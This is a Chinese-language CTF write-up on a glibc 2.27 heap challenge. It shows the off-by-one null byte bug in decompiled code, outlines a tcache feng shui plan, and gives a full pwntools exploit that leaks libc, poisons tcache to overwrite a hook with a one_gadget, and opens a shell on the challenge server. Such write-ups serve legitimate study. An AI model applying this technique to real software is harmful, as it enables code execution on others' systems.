About tcache & null byte off
附件 tcache 了解的太少… 做了好久…现在看起来也挺简单的…可能最近太浮躁没法静下来思考…
主要功能是add,show,和delet
用的是libc2.27有tcache
v4 = __readfsqword(0x28u);
i = 0;
if ( size )
{
while ( 1 )
{
read(0, &ptr[i], 1uLL);
if ( size - 1 < i || !ptr[i] || ptr[i] == 10 )
break;
++i;
}
ptr[i] = 0;
ptr[size] = 0;
}
else
{
*ptr = 0;
}
return __readfsqword(0x28u) ^ v4;
其他地方看不出啥洞…这里有个很明显的ptr[size] = 0; null byte off 但是这题又很刻薄。。。
然后是思路
1.per_size
2.unlink 的assert
例如已经填满tcache之后
只要再次free三个chunk那么就会留下0x100在第一个chunk尾部,0x200在第二个chunk尾部....
这样我们就有了per_size
仅有A在unsorted bin
null byte off 掉C
free C
#partII Fengshui #方便起见我们程那三个有pre_size的chunk为ABC free B 进tcache 保护起来 free 6个chunk填满tcache free A 进unsorted bin malloc 6 个chunk malloc B 做null byte off free c
泄露 hijack hook
# EXP
```python
from pwn import *
def cmd(c):
p.sendlineafter("and?\n> ",str(c))
def add(size,data):
cmd(1)
p.sendlineafter("size \n> ",str(size))
p.sendafter("tent \n> ",data)
def show(idx):
cmd(3)
p.sendlineafter("dex \n> ",str(idx))
def free(idx):
cmd(2)
p.sendlineafter("dex \n> ",str(idx))
#p=process("./easy_heap")
p=remote("10.21.13.100",10003)
#context.log_level='debug'
for x in range(10):
add(0xf7,'\n')
for x in range(7):
free(9-x)
free(0)
free(1)
free(2)
#set the presize
for x in range(7):
add(0xf7,'\n')
add(0x10,'\n')#7
add(0x10,'\n')#8
add(0xf7,'\n')#9
# keep the presize and begin to free
free(8)# protec
for x in range(6):
free(x)
#fill tcache
free(7)#into tcache
for x in range(6):
add(0x10,'\n')
add(0xf8,'\n')#7
for x in range(7):
free(x)
free(9)
####over laped
for x in range(7):
add(0x2,'\n')
add(0x2,'\n')#8
show(7)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dcfca0-0x7ffff79e4000)
log.warning(hex(base))
add(0x20,'\n')#9
free(1)
free(2)
free(7)
free(0)
free(9)
add(0x10,p64(0x7ffff7dcfc30-0x7ffff79e4000+base))#0
add(0x10,'\n')#1
add(0x10,'\n')#2
one=base+0x10a38c
add(0x10,p64(one))
p.sendlineafter(">",'1')
p.sendline("clear")
#gdb.attach(p)
p.interactive("nier>>>>")
仔细想想思路挺顺的一题….最近太浮躁了…修身养性修身养性